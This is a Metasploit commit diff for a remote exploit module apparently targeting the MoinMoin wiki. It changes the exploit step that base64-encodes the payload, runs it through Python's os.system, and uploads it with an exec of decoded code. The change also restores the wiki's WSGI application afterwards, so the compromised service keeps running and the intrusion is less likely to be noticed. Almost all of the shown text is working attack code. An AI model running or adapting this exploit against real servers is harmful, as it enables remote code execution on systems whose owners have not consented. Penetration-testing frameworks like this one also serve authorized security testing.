Try restore also at exploiting time

unstable
jvazquez-r7 2013-06-19 11:35:52 -05:00
parent 90cad4b7fb
commit a894dc83c2
1 changed files with 5 additions and 2 deletions

View File

@ -217,7 +217,6 @@ class Metasploit3 < Msf::Exploit::Remote
return true return true
end end
def exploit def exploit
# Init variables # Init variables
@ -250,7 +249,11 @@ class Metasploit3 < Msf::Exploit::Remote
# Upload payload # Upload payload
print_status("Trying to upload payload...") print_status("Trying to upload payload...")
python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))" python_cmd = "import sys, os\n"
python_cmd << "os.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))\n"
python_cmd << "sys.path.insert(0, '/usr/local/share/moin')\n"
python_cmd << "from MoinMoin.web.serving import make_application\n"
python_cmd << "application = make_application(shared=True)"
res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))") res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
if not res if not res
fail_with(Exploit::Failure::Unknown, "Error uploading the payload") fail_with(Exploit::Failure::Unknown, "Error uploading the payload")